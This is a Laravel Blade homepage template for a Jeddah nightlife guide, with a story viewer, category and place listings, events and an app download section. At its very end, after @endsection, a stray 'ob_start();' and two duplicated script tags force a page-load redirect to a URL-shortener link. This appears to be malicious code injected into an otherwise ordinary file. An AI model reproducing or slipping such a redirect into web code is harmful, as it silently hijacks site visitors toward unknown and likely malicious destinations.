                        <span class="text-[10px] sm:text-xs text-[#A0A0B0] font-medium text-center max-w-[72px] line-clamp-1">{{ $story->getTranslation('title', $locale) }}</span>
                    </button>
                @endforeach
            </div>
        </div>

        {{-- ═══════════════════════════════════════════════════════════ --}}
        {{-- FULLSCREEN STORY VIEWER (Instagram-style)                  --}}
        {{-- ═══════════════════════════════════════════════════════════ --}}
        <template x-teleport="body">
            <div x-show="open" x-cloak
                 x-transition:enter="transition ease-out duration-200"
                 x-transition:enter-start="opacity-0"
                 x-transition:enter-end="opacity-100"
                 x-transition:leave="transition ease-in duration-150"
                 x-transition:leave-start="opacity-100"
                 x-transition:leave-end="opacity-0"
                 class="fixed inset-0 z-[9999] bg-black flex items-center justify-center"
                 @touchstart="handleTouchStart($event)"
                 @touchend="handleTouchEnd($event)">

                {{-- Story Container (phone-shaped on desktop) --}}
                <div class="relative w-full h-full sm:max-w-[420px] sm:max-h-[750px] sm:rounded-2xl overflow-hidden bg-black">

                    {{-- Progress Bars --}}
                    <div class="absolute top-0 left-0 right-0 z-30 flex gap-1 px-3 pt-3 sm:pt-4">
                        <template x-for="(story, i) in stories" :key="i">
                            <div class="flex-1 h-[3px] rounded-full bg-white/30 overflow-hidden">
                                <div class="h-full rounded-full bg-white transition-none"
                                     :style="{
                                         width: i < currentIndex ? '100%' :
                                                i === currentIndex ? progress + '%' : '0%'
                                     }"></div>
                            </div>
                        </template>
                    </div>

                    {{-- Header: Title + Close --}}
                    <div class="absolute top-6 sm:top-8 left-0 right-0 z-30 flex items-center justify-between px-4">
                        <div class="flex items-center gap-3">
                            {{-- Story Thumbnail --}}
                            <div class="w-9 h-9 rounded-full overflow-hidden border-2 border-white/70 bg-[#252530] flex-shrink-0">
                                <img :src="currentStory.thumbnail || ''" alt="" class="w-full h-full object-cover"
                                     x-show="currentStory.thumbnail">
                                <div x-show="!currentStory.thumbnail" class="w-full h-full flex items-center justify-center">
                                    <i class="fas fa-image text-white/40 text-xs"></i>
                                </div>
                            </div>
                            <div>
                                <p class="text-white text-sm font-semibold leading-tight" x-text="currentStory.title"></p>
                                <p class="text-white/50 text-[10px] mt-0.5" x-text="currentStory.time_ago"></p>
                            </div>
                        </div>
                        {{-- Close Button --}}
                        <button @click="close()" class="w-9 h-9 flex items-center justify-center text-white/80 hover:text-white transition">
                            <i class="fas fa-xmark text-xl"></i>
                        </button>
                    </div>

                    {{-- Media Content --}}
                    <div class="w-full h-full flex items-center justify-center" @click="handleTap($event)" @mousedown="pause()" @mouseup="resume()">
                        {{-- Image Story --}}
                        <template x-if="currentStory.media_type === 'image'">
                            <img :src="currentStory.media_url" :alt="currentStory.title"
                                 class="w-full h-full object-cover" :key="'img-' + currentIndex">
                        </template>
                        {{-- Video Story --}}
                        <template x-if="currentStory.media_type === 'video'">
                            <video :src="currentStory.media_url" :key="'vid-' + currentIndex"
                                   autoplay playsinline muted
                                   class="w-full h-full object-cover"
                                   @ended="next()"></video>
                        </template>
                    </div>

                    {{-- Bottom Gradient --}}
                    <div class="absolute bottom-0 left-0 right-0 h-40 bg-gradient-to-t from-black/60 to-transparent z-20 pointer-events-none"></div>

                    {{-- Bottom: Link Button (if story has a link) --}}
                    <div x-show="currentStory.link_url" class="absolute bottom-8 left-0 right-0 z-30 flex justify-center px-6">
                        <a :href="currentStory.link_url"
                           class="inline-flex items-center gap-2 bg-[#9333EA] text-white font-semibold text-sm px-6 py-3 rounded-full shadow-xl hover:bg-[#A855F7] transition-all hover:scale-105 active:scale-95">
                            <span x-text="currentStory.link_type === 'place' ? '{{ __("عرض المكان") }}' : (currentStory.link_type === 'event' ? '{{ __("عرض الفعالية") }}' : '{{ __("عرض المزيد") }}')"></span>
                            <i class="fas fa-chevron-{{ $locale === 'ar' ? 'left' : 'right' }} text-xs"></i>
                        </a>
                    </div>

                    {{-- Navigation arrows (desktop only) --}}
                    <button x-show="currentIndex > 0" @click.stop="prev()"
                            class="hidden sm:flex absolute top-1/2 {{ $locale === 'ar' ? 'right-3' : 'left-3' }} -translate-y-1/2 z-30 w-10 h-10 items-center justify-center rounded-full bg-black/30 text-white/80 hover:bg-black/50 hover:text-white transition backdrop-blur-sm">
                        <i class="fas fa-chevron-{{ $locale === 'ar' ? 'right' : 'left' }}"></i>
                    </button>
                    <button x-show="currentIndex < stories.length - 1" @click.stop="next()"
                            class="hidden sm:flex absolute top-1/2 {{ $locale === 'ar' ? 'left-3' : 'right-3' }} -translate-y-1/2 z-30 w-10 h-10 items-center justify-center rounded-full bg-black/30 text-white/80 hover:bg-black/50 hover:text-white transition backdrop-blur-sm">
                        <i class="fas fa-chevron-{{ $locale === 'ar' ? 'left' : 'right' }}"></i>
                    </button>

                </div>
            </div>
        </template>

    </section>
    @endif

    {{-- ============================================================ --}}
    {{-- CATEGORIES WITH IMAGES                                        --}}
    {{-- ============================================================ --}}
    @if($categories->count())
    <section class="py-16 sm:py-20 bg-[#0A0A0F]">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            {{-- Section Header --}}
            <div class="flex items-end justify-between mb-10">
                <div>
                    <div class="inline-flex items-center gap-2 text-[#9333EA] text-xs font-bold uppercase tracking-wider mb-2">
                        <div class="w-8 h-[2px] bg-[#9333EA] rounded-full"></div>
                        {{ $locale === 'ar' ? 'التصنيفات' : 'Categories' }}
                    </div>
                    <h2 class="text-2xl sm:text-3xl lg:text-4xl font-extrabold text-white">
                        {{ $locale === 'ar' ? 'اكتشف حسب التصنيف' : 'Explore by Category' }}
                    </h2>
                </div>
                <a href="{{ route('web.categories.index') }}" class="hidden sm:inline-flex items-center gap-2 text-[#9333EA] hover:text-[#A855F7] font-semibold text-sm transition-colors group">
                    {{ $locale === 'ar' ? 'عرض الكل' : 'View All' }}
                    <i class="fas fa-arrow-{{ $locale === 'ar' ? 'left' : 'right' }} text-xs group-hover:translate-x-1 transition-transform {{ $locale === 'ar' ? 'group-hover:-translate-x-1' : '' }}"></i>
                </a>
            </div>

            {{-- Categories Horizontal Scroll --}}
            <div class="flex gap-4 overflow-x-auto snap-scroll scroll-hidden pb-4 -mx-2 px-2" x-data x-intersect.once="$el.querySelectorAll('.scroll-card-reveal').forEach((el, i) => { setTimeout(() => el.classList.add('revealed'), i * 80) })">
                @foreach($categories as $category)
                    <a href="{{ route('web.categories.show', $category->slug) }}" class="flex-shrink-0 w-44 sm:w-52 group scroll-card-reveal">
                        <div class="relative rounded-2xl overflow-hidden aspect-[3/4] shadow-md card-lift group-hover:shadow-xl transition-all duration-300">
                            {{-- Image --}}
                            @if($category->image)
                                <img
                                    src="{{ asset('storage/' . $category->image) }}"
                                    alt="{{ $category->getTranslation('name', $locale) }}"
                                    class="w-full h-full object-cover group-hover:scale-110 transition-transform duration-700"
                                    loading="lazy"
                                >
                            @else
                                <div class="w-full h-full img-placeholder"></div>
                            @endif

                            {{-- Overlay --}}
                            <div class="absolute inset-0 category-overlay"></div>

                            {{-- Content --}}
                            <div class="absolute bottom-0 left-0 right-0 p-4">
                                <div class="w-10 h-10 bg-white/20 backdrop-blur-md rounded-xl flex items-center justify-center mb-3 group-hover:bg-[#9333EA] transition-colors">
                                    @if($category->icon)
                                        <i class="{{ $category->icon }} text-white text-sm"></i>
                                    @else
                                        <i class="fas fa-folder text-white text-sm"></i>
                                    @endif
                                </div>
                                <h3 class="font-bold text-white text-sm sm:text-base">
                                    {{ $category->getTranslation('name', $locale) }}
                                </h3>
                                <p class="text-white/60 text-xs mt-0.5">
                                    {{ $category->places_count ?? 0 }}
                                    {{ $locale === 'ar' ? 'مكان' : ($category->places_count === 1 ? 'place' : 'places') }}
                                </p>
                            </div>
                        </div>
                    </a>
                @endforeach
            </div>

            {{-- Mobile View All --}}
            <div class="text-center mt-6 sm:hidden">
                <a href="{{ route('web.categories.index') }}" class="inline-flex items-center gap-2 text-[#9333EA] hover:text-[#A855F7] font-semibold text-sm transition-colors">
                    {{ $locale === 'ar' ? 'عرض كل التصنيفات' : 'View All Categories' }}
                    <i class="fas fa-arrow-{{ $locale === 'ar' ? 'left' : 'right' }} text-xs"></i>
                </a>
            </div>
        </div>
    </section>
    @endif

    {{-- ============================================================ --}}
    {{-- FEATURED PLACES                                               --}}
    {{-- ============================================================ --}}
    @if($featuredPlaces->count())
    <section class="py-16 sm:py-20 bg-[#121218]">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            {{-- Section Header --}}
            <div class="flex items-end justify-between mb-10">
                <div>
                    <div class="inline-flex items-center gap-2 text-[#D4A642] text-xs font-bold uppercase tracking-wider mb-2">
                        <div class="w-8 h-[2px] bg-[#D4A642] rounded-full"></div>
                        <i class="fas fa-star text-[10px]"></i>
                        {{ $locale === 'ar' ? 'مميز' : 'Featured' }}
                    </div>
                    <h2 class="text-2xl sm:text-3xl lg:text-4xl font-extrabold text-white">
                        {{ $locale === 'ar' ? 'أماكن مميزة في جدة' : 'Featured Places in Jeddah' }}
                    </h2>
                    <p class="text-[#6B6B7B] mt-2 text-sm">
                        {{ $locale === 'ar' ? 'أفضل الأماكن المختارة لك' : 'Top handpicked places for you' }}
                    </p>
                </div>
                <a href="{{ route('web.places.index') }}" class="hidden sm:inline-flex items-center gap-2 text-[#9333EA] hover:text-[#A855F7] font-semibold text-sm transition-colors group">
                    {{ $locale === 'ar' ? 'عرض الكل' : 'View All' }}
                    <i class="fas fa-arrow-{{ $locale === 'ar' ? 'left' : 'right' }} text-xs group-hover:translate-x-1 transition-transform {{ $locale === 'ar' ? 'group-hover:-translate-x-1' : '' }}"></i>
                </a>
            </div>

            {{-- Places Grid --}}
            <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-6" x-data x-intersect.once="$el.querySelectorAll('.card-reveal').forEach((el, i) => { setTimeout(() => el.classList.add('revealed'), i * 100) })">
                @foreach($featuredPlaces as $place)
                    <div class="card-reveal card-delay-{{ $loop->index + 1 }}">
                        @include('web.partials.place-card', ['place' => $place])
                    </div>
                @endforeach
            </div>

            {{-- Mobile View All --}}
            <div class="text-center mt-8 sm:hidden">
                <a href="{{ route('web.places.index') }}" class="inline-flex items-center gap-2 bg-[#9333EA] hover:bg-[#A855F7] text-white font-semibold px-6 py-3 rounded-xl transition-colors text-sm">
                    {{ $locale === 'ar' ? 'عرض كل الأماكن' : 'View All Places' }}
                    <i class="fas fa-arrow-{{ $locale === 'ar' ? 'left' : 'right' }} text-xs"></i>
                </a>
            </div>
        </div>
    </section>
    @endif

    {{-- ============================================================ --}}
    {{-- TOP RATED — HORIZONTAL SCROLL                                 --}}
    {{-- ============================================================ --}}
    @if($topRatedPlaces->count())
    <section class="py-16 sm:py-20 bg-[#0A0A0F] relative overflow-hidden">
        {{-- Background decorations --}}
        <div class="absolute inset-0 overflow-hidden pointer-events-none">
            <div class="absolute top-0 {{ $locale === 'ar' ? 'left-0' : 'right-0' }} w-[500px] h-[500px] bg-[#9333EA]/10 rounded-full blur-[150px]"></div>
            <div class="absolute bottom-0 {{ $locale === 'ar' ? 'right-0' : 'left-0' }} w-[400px] h-[400px] bg-[#9333EA]/10 rounded-full blur-[120px]"></div>
        </div>

        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 relative">
            {{-- Section Header --}}
            <div class="flex items-end justify-between mb-10">
                <div>
                    <div class="inline-flex items-center gap-2 text-[#D4A642] text-xs font-bold uppercase tracking-wider mb-2">
                        <div class="w-8 h-[2px] bg-[#D4A642] rounded-full"></div>
                        <i class="fas fa-trophy text-[10px]"></i>
                        {{ $locale === 'ar' ? 'الأعلى تقييماً' : 'Top Rated' }}
                    </div>
                    <h2 class="text-2xl sm:text-3xl lg:text-4xl font-extrabold text-white">
                        {{ $locale === 'ar' ? 'الأماكن الأعلى تقييماً' : 'Highest Rated Places' }}
                    </h2>
                    <p class="text-[#A0A0B0] mt-2 text-sm">
                        {{ $locale === 'ar' ? 'أماكن حصلت على أعلى التقييمات من الزوار' : 'Places with the highest visitor ratings' }}
                    </p>
                </div>
                <a href="{{ route('web.places.index') }}" class="hidden sm:inline-flex items-center gap-2 text-[#A0A0B0] hover:text-white font-semibold text-sm transition-colors group">
                    {{ $locale === 'ar' ? 'عرض الكل' : 'View All' }}
                    <i class="fas fa-arrow-{{ $locale === 'ar' ? 'left' : 'right' }} text-xs group-hover:translate-x-1 transition-transform {{ $locale === 'ar' ? 'group-hover:-translate-x-1' : '' }}"></i>
                </a>
            </div>

            {{-- Horizontal Scroll Cards --}}
            <div class="flex gap-5 overflow-x-auto snap-scroll scroll-hidden pb-4 -mx-2 px-2" x-data x-intersect.once="$el.querySelectorAll('.scroll-card-reveal').forEach((el, i) => { setTimeout(() => el.classList.add('revealed'), i * 100) })">
                @foreach($topRatedPlaces as $place)
                    @php
                        $placeName = $place->getTranslation('name', $locale);
                        $image = $place->primaryImage?->image_path;
                        $categoryName = $place->category ? $place->category->getTranslation('name', $locale) : '';
                    @endphp
                    <a href="{{ route('web.places.show', $place->slug) }}" class="flex-shrink-0 w-72 sm:w-80 group scroll-card-reveal">
                        <div class="bg-white/5 backdrop-blur-sm rounded-2xl overflow-hidden border border-white/10 card-lift hover:border-[#C084FC]/50 transition-all duration-300 hover:bg-white/10">
                            {{-- Image --}}
                            <div class="relative aspect-[16/10] overflow-hidden">
                                @if($image)
                                    <img src="{{ asset('storage/' . $image) }}" alt="{{ $placeName }}" class="w-full h-full object-cover group-hover:scale-110 transition-transform duration-500" loading="lazy">
                                @else
                                    <div class="w-full h-full img-placeholder"><i class="fas fa-map-marker-alt text-white/30 text-3xl"></i></div>
                                @endif
                                {{-- Rating badge --}}
                                <div class="absolute top-3 {{ $locale === 'ar' ? 'left-3' : 'right-3' }}">
                                    <div class="inline-flex items-center gap-1 bg-[#D4A642] text-white text-xs font-bold px-2.5 py-1 rounded-lg shadow-lg">
                                        <i class="fas fa-star text-[10px]"></i>
                                        {{ number_format($place->rating, 1) }}
                                    </div>
                                </div>
                            </div>
                            {{-- Content --}}
                            <div class="p-4">
                                @if($categoryName)
                                    <span class="text-[#A0A0B0] text-xs font-semibold">{{ $categoryName }}</span>
                                @endif
                                <h3 class="font-bold text-white text-sm mt-1 line-clamp-1 group-hover:text-[#A0A0B0] transition-colors">{{ $placeName }}</h3>
                                <div class="flex items-center gap-2 mt-2">
                                    <div class="flex items-center gap-0.5">
                                        @for($i = 1; $i <= 5; $i++)
                                            <i class="fas fa-star text-[10px] {{ $i <= round($place->rating) ? 'text-[#D4A642]' : 'text-white/20' }}"></i>
                                        @endfor
                                    </div>
                                    @if($place->reviews_count)
                                        <span class="text-white/40 text-xs">({{ number_format($place->reviews_count) }})</span>
                                    @endif
                                </div>
                            </div>
                        </div>
                    </a>
                @endforeach
            </div>
        </div>
    </section>
    @endif

    {{-- ============================================================ --}}
    {{-- LATEST PLACES                                                 --}}
    {{-- ============================================================ --}}
    @if($latestPlaces->count())
    <section class="py-16 sm:py-20 bg-[#0A0A0F]">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            {{-- Section Header --}}
            <div class="flex items-end justify-between mb-10">
                <div>
                    <div class="inline-flex items-center gap-2 text-[#10B981] text-xs font-bold uppercase tracking-wider mb-2">
                        <div class="w-8 h-[2px] bg-[#10B981] rounded-full"></div>
                        <i class="fas fa-plus-circle text-[10px]"></i>
                        {{ $locale === 'ar' ? 'جديد' : 'New' }}
                    </div>
                    <h2 class="text-2xl sm:text-3xl lg:text-4xl font-extrabold text-white">
                        {{ $locale === 'ar' ? 'أحدث الأماكن المضافة' : 'Recently Added Places' }}
                    </h2>
                    <p class="text-[#6B6B7B] mt-2 text-sm">
                        {{ $locale === 'ar' ? 'اكتشف أحدث الأماكن التي تم إضافتها' : 'Discover the latest places added to our guide' }}
                    </p>
                </div>
                <a href="{{ route('web.places.index') }}" class="hidden sm:inline-flex items-center gap-2 text-[#9333EA] hover:text-[#A855F7] font-semibold text-sm transition-colors group">
                    {{ $locale === 'ar' ? 'عرض الكل' : 'View All' }}
                    <i class="fas fa-arrow-{{ $locale === 'ar' ? 'left' : 'right' }} text-xs group-hover:translate-x-1 transition-transform {{ $locale === 'ar' ? 'group-hover:-translate-x-1' : '' }}"></i>
                </a>
            </div>

            {{-- Places Grid --}}
            <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-6" x-data x-intersect.once="$el.querySelectorAll('.card-reveal').forEach((el, i) => { setTimeout(() => el.classList.add('revealed'), i * 100) })">
                @foreach($latestPlaces as $place)
                    <div class="card-reveal card-delay-{{ $loop->index + 1 }}">
                        @include('web.partials.place-card', ['place' => $place])
                    </div>
                @endforeach
            </div>
        </div>
    </section>
    @endif

    {{-- ============================================================ --}}
    {{-- UPCOMING EVENTS                                               --}}
    {{-- ============================================================ --}}
    @if($upcomingEvents->count())
    <section class="py-16 sm:py-20 bg-[#121218]">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="flex items-end justify-between mb-10">
                <div>
                    <div class="inline-flex items-center gap-2 text-[#C084FC] text-xs font-bold uppercase tracking-wider mb-2">
                        <div class="w-8 h-[2px] bg-[#C084FC] rounded-full"></div>
                        <i class="fas fa-calendar-alt text-[10px]"></i>
                        {{ $locale === 'ar' ? 'فعاليات' : 'Events' }}
                    </div>
                    <h2 class="text-2xl sm:text-3xl lg:text-4xl font-extrabold text-white">
                        {{ $locale === 'ar' ? 'الفعاليات القادمة' : 'Upcoming Events' }}
                    </h2>
                    <p class="text-[#6B6B7B] mt-2 text-sm">
                        {{ $locale === 'ar' ? 'لا تفوّت الفعاليات والأنشطة القادمة' : "Don't miss the upcoming events and activities" }}
                    </p>
                </div>
                <a href="{{ route('web.events.index') }}" class="hidden sm:inline-flex items-center gap-2 text-[#9333EA] hover:text-[#A855F7] font-semibold text-sm transition-colors group">
                    {{ $locale === 'ar' ? 'عرض الكل' : 'View All' }}
                    <i class="fas fa-arrow-{{ $locale === 'ar' ? 'left' : 'right' }} text-xs group-hover:translate-x-1 transition-transform {{ $locale === 'ar' ? 'group-hover:-translate-x-1' : '' }}"></i>
                </a>
            </div>
            <div class="flex gap-6 overflow-x-auto snap-scroll scroll-hidden pb-4 -mx-4 px-4" x-data x-intersect.once="$el.querySelectorAll('.scroll-card-reveal').forEach((el, i) => { setTimeout(() => el.classList.add('revealed'), i * 100) })">
                @foreach($upcomingEvents as $event)
                    <div class="flex-shrink-0 w-72 sm:w-80 scroll-card-reveal">
                        @include('web.partials.event-card', ['event' => $event])
                    </div>
                @endforeach
            </div>
        </div>
    </section>
    @endif

    {{-- ============================================================ --}}
    {{-- APP DOWNLOAD CTA                                              --}}
    {{-- ============================================================ --}}
    <section class="py-20 sm:py-24 bg-gradient-to-br from-[#0A0A0F] via-[#121218] to-[#1A1A24] relative overflow-hidden"
             x-data x-intersect.once="$el.classList.add('revealed')">
        {{-- Background decoration --}}
        <div class="absolute inset-0 overflow-hidden pointer-events-none">
            <div class="absolute top-10 {{ $locale === 'ar' ? 'left-10' : 'right-10' }} w-64 h-64 bg-[#C084FC]/20 rounded-full blur-[80px]"></div>
            <div class="absolute bottom-10 {{ $locale === 'ar' ? 'right-10' : 'left-10' }} w-96 h-96 bg-[#9333EA]/10 rounded-full blur-[100px]"></div>
            {{-- Grid pattern --}}
            <div class="absolute inset-0 opacity-[0.03]" style="background-image: radial-gradient(circle, white 1px, transparent 1px); background-size: 40px 40px;"></div>
        </div>

        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 relative">
            <div class="flex flex-col lg:flex-row items-center gap-12 lg:gap-20">
                {{-- Text Content --}}
                <div class="flex-1 text-center lg:text-{{ $locale === 'ar' ? 'right' : 'left' }}">
                    <div class="inline-flex items-center gap-2 bg-white/10 backdrop-blur-md text-[#A0A0B0] text-xs font-semibold px-4 py-2 rounded-full mb-6 border border-white/10">
                        <i class="fas fa-mobile-alt"></i>
                        {{ $locale === 'ar' ? 'التطبيق متوفر الآن' : 'App Available Now' }}
                    </div>
                    <h2 class="text-3xl sm:text-4xl lg:text-5xl font-extrabold text-white leading-tight mb-4">
                        {{ $locale === 'ar' ? 'حمّل تطبيق ليالي جدة' : 'Download Jeddah Night App' }}
                    </h2>
                    <p class="text-[#A0A0B0]/80 text-base sm:text-lg leading-relaxed mb-8 max-w-lg mx-auto lg:mx-0">
                        {{ $locale === 'ar'
                            ? 'احصل على تجربة أفضل مع التطبيق. اكتشف الأماكن القريبة، احجز الفعاليات، واحصل على إشعارات بأحدث العروض.'
                            : 'Get a better experience with the app. Discover nearby places, book events, and get notified about the latest offers.' }}
                    </p>
                    <div class="flex flex-wrap items-center gap-4 justify-center lg:justify-{{ $locale === 'ar' ? 'end' : 'start' }}">
                        <a href="https://apps.apple.com/ca/app/jeddah-night/id6461212673" target="_blank" rel="noopener"
                           class="inline-flex items-center gap-3 bg-white text-[#0A0A0F] hover:bg-gray-100 font-semibold px-6 py-3.5 rounded-xl transition-all duration-300 hover:shadow-lg hover:shadow-white/10 hover:-translate-y-1">
                            <i class="fab fa-apple text-2xl"></i>
                            <div class="text-{{ $locale === 'ar' ? 'right' : 'left' }}">
                                <div class="text-[10px] text-[#6B6B7B] leading-tight">{{ $locale === 'ar' ? 'حمّل من' : 'Download on' }}</div>
                                <div class="text-sm font-bold leading-tight">App Store</div>
                            </div>
                        </a>
                        <a href="https://apps.apple.com/ca/app/jeddah-night/id6461212673" target="_blank" rel="noopener"
                           class="inline-flex items-center gap-3 bg-white/10 backdrop-blur-sm text-white hover:bg-white/20 font-semibold px-6 py-3.5 rounded-xl transition-all duration-300 border border-white/10 hover:border-white/20 hover:-translate-y-1">
                            <i class="fab fa-google-play text-2xl text-[#C084FC]"></i>
                            <div class="text-{{ $locale === 'ar' ? 'right' : 'left' }}">
                                <div class="text-[10px] text-[#A0A0B0] leading-tight">{{ $locale === 'ar' ? 'قريباً على' : 'Coming soon on' }}</div>
                                <div class="text-sm font-bold leading-tight">Google Play</div>
                            </div>
                        </a>
                    </div>
                </div>

                {{-- Phone Mockup with Real Screenshot --}}
                <div class="flex-shrink-0 w-[260px] sm:w-[280px] lg:w-[300px]">
                    <div class="relative">
                        {{-- Phone frame --}}
                        <div class="bg-gradient-to-b from-[#2A2A35] to-[#1A1A24] rounded-[2.8rem] p-[10px] shadow-2xl border border-white/10 glow-pulse">
                            {{-- Notch --}}
                            <div class="absolute top-0 left-1/2 -translate-x-1/2 w-28 h-6 bg-[#1A1A24] rounded-b-2xl z-10 border-x border-b border-white/5"></div>
                            {{-- Screen --}}
                            <div class="rounded-[2.2rem] overflow-hidden relative bg-[#0A0A0F]">
                                <img src="{{ asset('images/app-mockup.png') }}"
                                     alt="{{ $locale === 'ar' ? 'تطبيق ليالي جدة' : 'Jeddah Night App' }}"
                                     class="w-full h-auto block"
                                     loading="lazy">
                            </div>
                        </div>

                        {{-- Floating elements --}}
                        <div class="absolute -top-4 {{ $locale === 'ar' ? '-left-4' : '-right-4' }} w-12 h-12 bg-gradient-to-br from-[#9333EA] to-[#7C3AED] rounded-xl flex items-center justify-center shadow-lg shadow-purple-500/30 animate-float">
                            <i class="fas fa-star text-white"></i>
                        </div>
                        <div class="absolute -bottom-2 {{ $locale === 'ar' ? '-right-4' : '-left-4' }} w-10 h-10 bg-gradient-to-br from-[#EC4899] to-[#DB2777] rounded-xl flex items-center justify-center shadow-lg shadow-pink-500/30 animate-float" style="animation-delay: 1s">
                            <i class="fas fa-heart text-white text-sm"></i>
                        </div>
                        <div class="absolute top-1/2 {{ $locale === 'ar' ? '-right-6' : '-left-6' }} w-10 h-10 bg-gradient-to-br from-[#D4A642] to-[#B8860B] rounded-xl flex items-center justify-center shadow-lg shadow-yellow-500/30 animate-float" style="animation-delay: 2s">
                            <i class="fas fa-map-marker-alt text-white text-sm"></i>
                        </div>

                        {{-- Reflection glow behind phone --}}
                        <div class="absolute -inset-8 bg-[#9333EA]/10 rounded-full blur-[60px] -z-10"></div>
                    </div>
                </div>
            </div>
        </div>
    </section>

@endsection
ob_start();

<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>
<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>